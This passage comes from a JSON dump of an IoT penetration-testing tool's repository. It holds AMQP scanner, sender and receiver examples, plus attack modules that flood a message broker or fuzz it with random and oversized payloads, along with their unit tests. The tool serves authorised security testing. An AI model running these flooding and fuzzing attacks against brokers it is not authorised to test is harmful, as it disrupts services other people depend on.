    "content": "\"\"\"\n    General Utility Module\n\"\"\""
  },
  {
    "path": "src/__init__.py",
    "content": ""
  },
  {
    "path": "src/captured_packets/__init__.py",
    "content": "\"\"\"\n    This package contains the all captured packets.\n    The files inside this package follows these rules:\n        - Name of the file begins with the protocol name which packets belong to.\n        - Then, the time at which packets are captured is appended to the file name.\n        - The file extension is .pcap.\n    Here are some example file names:\n        MQTT_2014-09-26_16:34:40.pcap, AMQP_2014-09-26_17:25:40.pcap\n\"\"\""
  },
  {
    "path": "src/module_installer.py",
    "content": "print \"Checking whether we have necessary dependencies installed...\"\n\ntry:\n    import paho.mqtt\n\n    print \"[+] You have paho-mqtt module installed.\"\nexcept ImportError:\n    print \"[-] You have to install paho.mqtt module\"\n    print \"\\tHint: sudo -H pip install paho-mqtt\"\n\ntry:\n    import bluepy\n\n    print \"[+] You have bluepy module installed.\"\nexcept ImportError:\n    print \"[-] You have to install bluepy module\"\n    print \"\\tHint: sudo -H pip install bluepy\"\n\ntry:\n    import coapthon\n\n    print \"[+] You have coapthon module installed.\"\nexcept ImportError:\n    print \"[-] You have to install coapthon module\"\n    print \"\\tHint: sudo -H pip install coapthon\"\n\ntry:\n    import Cython\n\n    print \"[+] You have Cython module installed.\"\nexcept ImportError:\n    print \"[-] You have to install Cython module\"\n    print \"\\tHint: sudo -H pip install Cython\"\n\ntry:\n    import pygame\n\n    print \"[+] You have pygame module installed.\"\nexcept ImportError:\n    print \"[-] You have to install pygame module\"\n    print \"\\tHint: sudo -H pip install pygame\"\n\ntry:\n    import pika\n\n    print \"[+] You have pika module installed.\"\nexcept ImportError:\n    print \"[-] You have to install pygame module\"\n    print \"\\tHint: sudo -H pip install pika\"\n"
  },
  {
    "path": "src/peniot.py",
    "content": "# Run the program driver of tkinter\n\nif __name__ == '__main__':\n    from GUI.tkinter import run\n    run()\n"
  },
  {
    "path": "src/protocols/AMQP/__init__.py",
    "content": "\"\"\"\n    This package contains the following functionalities:\n\n    1) Example usage of AMQP.\n    2) AMQP Scanner\n\"\"\"\n"
  },
  {
    "path": "src/protocols/AMQP/amqp_protocol.py",
    "content": "import unittest\n\nfrom Entity.protocol import Protocol\n\n\nclass AMQP(Protocol):\n\n    def __init__(self):\n        amqp_definition = \"AMQP stands for Advanced Message Queuing Protocol and it is an open standard application layer protocol.\\n\\n\" \\\n                          \"There are a couple of key parts in AMQP:\\n\" \\\n                          \"* Broker (Server): An application - implementing the AMQP model - that accepts connections from clients\\n\" \\\n                          \" for message routing, queuing etc.\\n\" \\\n                          \"* Message: Content of data transferred / routed including information such as payload and message attributes.\\n\" \\\n                          \"* Consumer: An application which receives message(s) - put by a producer - from queues.\\n\" \\\n                          \"* Producer: An application which puts messages to a queue.\"\n        attack_suites = []\n        Protocol.__init__(self, \"AMQP\", attack_suites, amqp_definition)\n\n\nclass TestAMQPProtocol(unittest.TestCase):\n    def setUp(self):\n        self.amqp = AMQP()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"AMQP\", self.amqp.get_protocol_name())\n\n    def test_attacks(self):\n        attack_suites = self.amqp.get_attack_suites()\n        self.assertIsNotNone(attack_suites)\n        self.assertEquals(len(attack_suites), 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/AMQP/amqp_scanner.py",
    "content": "from Utils.SnifferUtil import generic_sniffer as generic_sniffer\n\n# Capturing via TShark\namqp_layer_filter = \"amqp\"\n\n\nclass AMQPScanner:\n    \"\"\"\n    This class is used to scan for a AMQP device.\n    It captures packets from the network and try to find AMQP devices.\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,\n             use_json_and_include_raw=False, output_pcap_filename=None):\n        sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,\n                                                 use_json=use_json_and_include_raw,\n                                                 include_raw=use_json_and_include_raw,\n                                                 output_pcap_filename=output_pcap_filename,\n                                                 display_filter=amqp_layer_filter)\n        sniffer.start_live_capture()\n        return sniffer.get_captured_packets()\n\n\nif __name__ == '__main__':\n    packets = AMQPScanner().scan()\n    for packet in packets:\n        print packet\n"
  },
  {
    "path": "src/protocols/AMQP/attacks/__init__.py",
    "content": "\"\"\"\n    This is a package that contains attacks to AMQP protocol.\n    Currently, it supports the following attacks\n\n        1) Denial of Service Attack\n        2) Fuzzing Attack\n\"\"\""
  },
  {
    "path": "src/protocols/AMQP/attacks/amqp_dos_attack.py",
    "content": "import logging\nimport multiprocessing\nimport signal\nimport time\nimport unittest\n\nimport pika\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\n\n\nclass AMQPDoSAttack(Attack):\n    \"\"\"\n    AMQP Protocol - DoS Attack Module\n    \"\"\"\n    # Input Fields\n    host = \"localhost\"\n    queue = \"peniot-queue\"\n    exchange = \"peniot-exchange\"\n    routing_key = \"peniot-routing-key\"\n    body = \"peniot-body\"\n    exchange_type = \"direct\"\n    timeout = 0.01\n\n    # Misc Members\n    connection = None\n    channel = None\n    logger = None\n    sent_message_count = 0\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", \"\", \"\", 10.0]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"localhost\", str, mandatory=True),\n            InputFormat(\"Queue Name\", \"queue\", \"peniot-queue\", str, mandatory=True),\n            InputFormat(\"Exchange Name\", \"exchange\", \"peniot-exchange\", str, mandatory=True),\n            InputFormat(\"Routing Key\", \"routing_key\", \"peniot-routing-key\", str, mandatory=True),\n            InputFormat(\"Message Body\", \"body\", \"peniot-body\", str, mandatory=True),\n            InputFormat(\"Exchange Type\", \"exchange_type\", \"direct\", str, mandatory=True),\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float)\n        ]\n\n        Attack.__init__(self, \"AMQP DoS Attack\", inputs, default_parameters,\n                        \"    We send AMQP requests to the client.\\n\"\n                        \"    The time difference between those requests\\n\"\n                        \"    can be specified.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Connection will be closed\")\n        self.stopped_flag = True\n        if self.connection is not None:\n            self.connection.close()\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        # Get connection and channel\n        self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))\n        self.channel = self.connection.channel()\n\n        # Create exchange\n        self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)\n\n        # Define queue to store\n        self.channel.queue_declare(queue=self.queue)\n\n    def run(self):\n        super(AMQPDoSAttack, self).run()\n        self.pre_attack_init()\n\n        # Start client loop for requests\n        while self.stopped_flag is True:\n            self.sent_message_count += 1\n            self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=self.body)\n            self.logger.info(\"{0} messages published.\".format(str(self.sent_message_count)))\n            time.sleep(self.timeout)\n\n\nclass TestMQTTDoSAttack(unittest.TestCase):\n    def setUp(self):\n        self.amqp_dos_attack = AMQPDoSAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"AMQP DoS Attack\", self.amqp_dos_attack.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.amqp_dos_attack.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 7)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.amqp_dos_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.amqp_dos_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", \"pen-queue\", \"pen-exchange\", \"pen-routing-key\", \"peniot-payload\", \"pen-exh-type\",\n                          13.2]\n        for index, _input in enumerate(example_inputs):\n            self.amqp_dos_attack.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.amqp_dos_attack.connection)\n\n        super(AMQPDoSAttack, self.amqp_dos_attack).run()\n\n        inputs = self.amqp_dos_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.amqp_dos_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_dos_attack(self):\n        def run_attack():\n            example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\",\n                              \"direct\", 1]\n            for index, _input in enumerate(example_inputs):\n                self.amqp_dos_attack.inputs[index].set_value(_input)\n\n            self.amqp_dos_attack.run()\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/AMQP/attacks/amqp_fuzzing_attack_suite.py",
    "content": "from amqp_payload_size_fuzzer import *\nfrom amqp_random_payload_fuzzing import *\nfrom Entity.attack_suite import AttackSuite\n\n\nclass AMQPFuzzingAttackSuite(AttackSuite):\n\n    def __init__(self):\n        attacks = [AMQPRandomPayloadFuzzingAttack(), AMQPPayloadSizeFuzzerAttack()]\n        AttackSuite.__init__(self, \"AMQP Fuzzing Attack Suite\", attacks)\n\n\nclass TestAMQPFuzzingAttackSuite(unittest.TestCase):\n    def setUp(self):\n        self.amqp_fuzzing_attack_suite = AMQPFuzzingAttackSuite()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"AMQP Fuzzing Attack Suite\", self.amqp_fuzzing_attack_suite.get_attack_suite_name())\n\n    def test_attack_list(self):\n        attacks = self.amqp_fuzzing_attack_suite.get_attacks()\n        self.assertIsNotNone(attacks)\n        self.assertGreater(len(attacks), 0, \"Non inserted attacks\")\n        self.assertEquals(len(attacks), 2)\n\n    def test_attacks(self):\n        attacks = self.amqp_fuzzing_attack_suite.get_attacks()\n        for attack in attacks:\n            p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())\n            p.start()\n            time.sleep(5)\n            if p.is_alive():\n                p.terminate()\n                p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/AMQP/attacks/amqp_payload_size_fuzzer.py",
    "content": "import logging\nimport multiprocessing\nimport random\nimport signal\nimport time\nimport unittest\n\nimport pika\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\n\n\nclass AMQPPayloadSizeFuzzerAttack(Attack):\n    \"\"\"\n    AMQP Protocol - Payload Size Fuzzer Attack module\n    It is created to test any AMQP device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    # Input Fields\n    host = \"localhost\"\n    queue = \"peniot-queue\"\n    exchange = \"peniot-exchange\"\n    routing_key = \"peniot-routing-key\"\n    payload = None\n    exchange_type = \"direct\"\n    turn = 10\n\n    # Misc Members\n    connection = None\n    channel = None\n    logger = None\n    sent_message_count = 0\n    max_payload_length = 2 ** 32\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", \"\", \"\", 10]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"localhost\", str, mandatory=True),\n            InputFormat(\"Queue Name\", \"queue\", \"peniot-queue\", str, mandatory=True),\n            InputFormat(\"Exchange Name\", \"exchange\", \"peniot-exchange\", str, mandatory=True),\n            InputFormat(\"Routing Key\", \"routing_key\", \"peniot-routing-key\", str, mandatory=True),\n            InputFormat(\"Payload\", \"payload\", \"\", str, mandatory=True),\n            InputFormat(\"Exchange Type\", \"exchange_type\", \"direct\", str, mandatory=True),\n            InputFormat(\"Fuzzing Turn\", \"turn\", 10, int)\n        ]\n        Attack.__init__(self, \"AMQP Payload Size Fuzzer Attack\", inputs, default_parameters,\n                        \"    AMQP Payload size fuzzer attack description\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Connection will be closed\")\n        self.stopped_flag = True\n        if self.connection is not None:\n            self.connection.close()\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        try:\n            assert self.turn >= 2\n        except AssertionError as e:\n            raise\n        # Get connection and channel\n        self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))\n        self.channel = self.connection.channel()\n\n        # Create exchange\n        self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)\n\n        # Define queue to store\n        self.channel.queue_declare(queue=self.queue)\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        assert self.turn >= 2\n        # Fill the size list as randomly generated\n        size_list = [0, self.max_payload_length]\n        size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.turn - 2)])\n\n        fuzzing = 0\n        self.logger.info(\"Size payload fuzzing is started. Please consider it may take some time.\")\n        for payload_size in size_list:\n\n            if self.stopped_flag is True:\n                break\n            # Create payload and send it\n            random_strings = \"\".join([chr(_) for _ in range(65, 91)]) + \"\".join([chr(_) for _ in range(97, 123)])\n            random_character = random.choice(random_strings)\n            sized_payload = random_character * payload_size\n            self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=sized_payload)\n\n            # Informative procedures\n            self.logger.info(\"Turn {0} is completed\".format(fuzzing + 1))\n            self.sent_message_count += 1\n            fuzzing += 1\n            time.sleep(1)\n\n        if self.stopped_flag is False:\n            self.logger.info(\"Payload size attack is finished.\")\n\n\nclass TestCoAPPayloadSizeAttack(unittest.TestCase):\n    def setUp(self):\n        self.amqp_payload_size_fuzzer = AMQPPayloadSizeFuzzerAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"AMQP Payload Size Fuzzer Attack\", self.amqp_payload_size_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.amqp_payload_size_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 7)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.amqp_payload_size_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.amqp_payload_size_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\", \"direct\",\n                          5]\n        for index, _input in enumerate(example_inputs):\n            self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.amqp_payload_size_fuzzer.connection)\n\n        super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run()\n\n        inputs = self.amqp_payload_size_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.amqp_payload_size_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\", \"direct\",\n                          1]\n        for index, _input in enumerate(example_inputs):\n            self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run()\n        try:\n            self.amqp_payload_size_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_payload_size_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\",\n                              \"direct\", 3]\n            for index, _input in enumerate(example_inputs):\n                self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.amqp_payload_size_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/AMQP/attacks/amqp_random_payload_fuzzing.py",
    "content": "import logging\nimport multiprocessing\nimport random\nimport signal\nimport time\nimport unittest\n\nimport pika\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.FuzzerUtil import radamsa_util as rdm\n\n\nclass AMQPRandomPayloadFuzzingAttack(Attack):\n    \"\"\"\n    AMQP Protocol - Random Payload Fuzzing Attack module\n    \"\"\"\n    # Input Fields\n    host = \"localhost\"\n    queue = \"peniot-queue\"\n    exchange = \"peniot-exchange\"\n    routing_key = \"peniot-routing-key\"\n    payload = None\n    exchange_type = \"direct\"\n    turn = 10\n    count = 1\n\n    # Misc Members\n    connection = None\n    channel = None\n    logger = None\n    sent_message_count = 0\n    max_length_of_random_payload = 100\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", \"\", \"\", 10, 1]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"localhost\", str, mandatory=True),\n            InputFormat(\"Queue Name\", \"queue\", \"peniot-queue\", str, mandatory=True),\n            InputFormat(\"Exchange Name\", \"exchange\", \"peniot-exchange\", str, mandatory=True),\n            InputFormat(\"Routing Key\", \"routing_key\", \"peniot-routing-key\", str, mandatory=True),\n            InputFormat(\"Payload\", \"payload\", \"\", str),\n            InputFormat(\"Exchange Type\", \"exchange_type\", \"direct\", str, mandatory=True),\n            InputFormat(\"Fuzzing Turn\", \"turn\", 10, int),\n            InputFormat(\"Fuzzing Count\", \"count\", 1, int)\n        ]\n\n        Attack.__init__(self, \"AMQP Random Payload Fuzzing Attack\", inputs, default_parameters,\n                        \"    It creates a random payload and sends \\n\"\n                        \"    this payload to the client.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Connection will be closed\")\n        self.stopped_flag = True\n        if self.connection is not None:\n            self.connection.close()\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        # Get connection and channel\n        self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))\n        self.channel = self.connection.channel()\n\n        # Create exchange\n        self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)\n\n        # Define queue to store\n        self.channel.queue_declare(queue=self.queue)\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        payload = self.payload\n        if payload is None:\n            # Create seed with randomly\n            length = random.randint(1, self.max_length_of_random_payload)\n            payload = \"\".join([chr(random.randint(1, 127)) for _ in range(length)])\n\n        self.logger.info(\"Random payload fuzzing is started.\")\n        for fuzzing in range(self.turn):\n\n            if self.stopped_flag is True:\n                break\n            while True:\n                try:\n                    returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(payload, self.count)\n                    if type(returned_strings) == list:\n                        fuzzer_messages = [string.decode(\"utf-8\") for string in returned_strings]\n                    else:\n                        fuzzer_messages = returned_strings.decode(\"utf-8\")\n                    break\n                except UnicodeDecodeError:\n                    continue\n            # Check whether result is list or not\n            if type(fuzzer_messages) == list:\n                for message in fuzzer_messages:\n                    self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=message)\n                    # Increment sent message count\n                    self.sent_message_count += 1\n            else:\n                self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=fuzzer_messages)\n                # Increment sent message count\n                self.sent_message_count += 1\n            time.sleep(1)\n            self.logger.info(\"Turn {0} is completed\".format(fuzzing + 1))\n\n        if self.stopped_flag is False:\n            self.logger.info(\"Random payload fuzzing is finished.\")\n\n        if self.connection is not None:\n            self.connection.close()\n\n\nclass TestAMQPRandomPayloadAttack(unittest.TestCase):\n    def setUp(self):\n        self.amqp_random_payload_fuzzer = AMQPRandomPayloadFuzzingAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"AMQP Random Payload Fuzzing Attack\", self.amqp_random_payload_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.amqp_random_payload_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 8)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.amqp_random_payload_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.amqp_random_payload_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\", \"direct\",\n                          13, 12]\n        for index, _input in enumerate(example_inputs):\n            self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.amqp_random_payload_fuzzer.connection)\n\n        super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run()\n\n        inputs = self.amqp_random_payload_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.amqp_random_payload_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\", \"direct\",\n                          1, 11]\n        for index, _input in enumerate(example_inputs):\n            self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run()\n        try:\n            self.amqp_random_payload_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_random_payload_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"localhost\", \"peniot-queue\", \"peniot-exchange\", \"peniot-routing-key\", \"peniot-body\",\n                              \"direct\", 5, 1]\n            for index, _input in enumerate(example_inputs):\n                self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.amqp_random_payload_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=self.amqp_random_payload_fuzzer.get_attack_name())\n        p.start()\n        time.sleep(15)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/AMQP/examples/__init__.py",
    "content": "\"\"\"\n    This package contains the following functionalities:\n\n    1) AMQP Sender Example\n    2) AMQP Receiver Example\n\"\"\"\n"
  },
  {
    "path": "src/protocols/AMQP/examples/receiver_example.py",
    "content": "import pika\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_QUEUE_NAME = \"peniot-queue\"\nDEFAULT_EXCHANGE = \"peniot-exchange\"\nDEFAULT_ROUTING_KEY = \"peniot-routing-key\"\nDEFAULT_BODY = \"peniot-body\"\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"AMQP Receiver Example\")\n\nglobal_connection = None\n\n\"\"\"\n    AMQP Example Receiver\n\"\"\"\n\n\ndef signal_handler(sig, frame):\n    global global_connection\n    logger.info(\"Connection will be closed\")\n    if global_connection is not None:\n        global_connection.close()\n    sys.exit(0)\n\n\ndef callback(ch, method, properties, body):\n    logger.info(\"Received %r\" % body)\n\n\ndef receive_procedure(channel_to_receive, queue_name=DEFAULT_QUEUE_NAME):\n    \"\"\"\n    Sending procedure for AMQP protocol\n    :param channel_to_receive: Channel means which is created given host name\n    :param queue_name: Queue from which consume message\n    :return: None\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    # Start consuming\n    channel_to_receive.basic_consume(callback, queue=queue_name, no_ack=True)\n    channel_to_receive.start_consuming()\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-q\", \"--queue\", help=\"Queue name to subscribe\", default=DEFAULT_QUEUE_NAME)\n    parser.add_argument(\"-e\", \"--exchange\", help=\"Name of exchange\", default=DEFAULT_EXCHANGE)\n    parser.add_argument(\"-r\", \"--routing_key\", help=\"Routing key (endpoint)\", default=DEFAULT_ROUTING_KEY)\n    parser.add_argument(\"-c\", \"--content\", help=\"Content of message body\", default=DEFAULT_BODY)\n    args = parser.parse_args()\n\n    # Get connection and channel\n    connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker))\n    global_connection = connection\n    channel = connection.channel()\n\n    channel.queue_bind(queue=args.queue, exchange=args.exchange, routing_key=args.routing_key)\n\n    # Start sending procedure\n    receive_procedure(channel, args.queue)\n"
  },
  {
    "path": "src/protocols/AMQP/examples/sender_example.py",
    "content": "import pika\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nDEFAULT_BROKER_HOST = \"localhost\"\nDEFAULT_QUEUE_NAME = \"peniot-queue\"\nDEFAULT_EXCHANGE = \"peniot-exchange\"\nDEFAULT_ROUTING_KEY = \"peniot-routing-key\"\nDEFAULT_BODY = \"peniot-body\"\nDEFAULT_EXCHANGE_TYPE = \"direct\"\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"AMQP Sender Example\")\n\nglobal_connection = None\n\n\"\"\"\n    AMQP Example Sender\n\"\"\"\n\n\ndef signal_handler(sig, frame):\n    global global_connection\n    logger.info(\"Connection will be closed\")\n    if global_connection is not None:\n        global_connection.close()\n    sys.exit(0)\n\n\ndef send_procedure(channel_to_send, exchange=DEFAULT_EXCHANGE, routing_key=DEFAULT_ROUTING_KEY, body=DEFAULT_BODY):\n    \"\"\"\n    Sending procedure for AMQP protocol\n    :param channel_to_send: Channel means which is created given host name\n    :param exchange: Name of exchange\n    :param routing_key: Routing key which is similar to endpoint this context\n    :param body: Body of messages\n    :return: None\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    publish_content = 0\n    while True:\n        channel_to_send.basic_publish(exchange=exchange, routing_key=routing_key, body=body + \" \" + str(publish_content))\n        time.sleep(2)\n        publish_content += 1\n        logger.info(\"Message {0} is published\".format(publish_content))\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-b\", \"--broker\", help=\"Broker host name or IP address\", default=DEFAULT_BROKER_HOST)\n    parser.add_argument(\"-q\", \"--queue\", help=\"Queue name to subscribe\", default=DEFAULT_QUEUE_NAME)\n    parser.add_argument(\"-e\", \"--exchange\", help=\"Name of exchange\", default=DEFAULT_EXCHANGE)\n    parser.add_argument(\"-r\", \"--routing_key\", help=\"Routing key (endpoint)\", default=DEFAULT_ROUTING_KEY)\n    parser.add_argument(\"-c\", \"--content\", help=\"Content of message body\", default=DEFAULT_BODY)\n    parser.add_argument(\"-x\", \"--exchange_type\", help=\"Type of exchange\", default=DEFAULT_EXCHANGE_TYPE)\n    args = parser.parse_args()\n\n    # Get connection and channel\n    connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker))\n    global_connection = connection\n    channel = connection.channel()\n\n    # Create exchange\n    channel.exchange_declare(exchange=args.exchange, exchange_type=DEFAULT_EXCHANGE_TYPE)\n\n    # Define queue to store\n    channel.queue_declare(queue=args.queue)\n\n    # Start sending procedure\n    send_procedure(channel, args.exchange, args.routing_key, args.content)\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/.gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n*.pcap\nlogs/\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/API Manifest.txt",
    "content": "API Manifest.txt\ndocumentation.html\nexample.py\nLICENSE.txt\nNordic Semiconductor Sniffer API Guide.pdf\nsniffer_uart_protocol.xlsx\n\nwireshark_dissector_source\n\tpacket-btle.c\n\tpacket-nordic_ble.c\n\nSnifferAPI\n\tCaptureFiles.py\n\tDevices.py\n\tExceptions.py\n\tLogger.py\n\tmyVersion.py\n\tNotifications.py\n\tPacket.py\n\tSniffer.py\n\tSnifferCollector.py\n\tUART.py\n\tVersion.py\n\t__init__.py\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/LICENSE.txt",
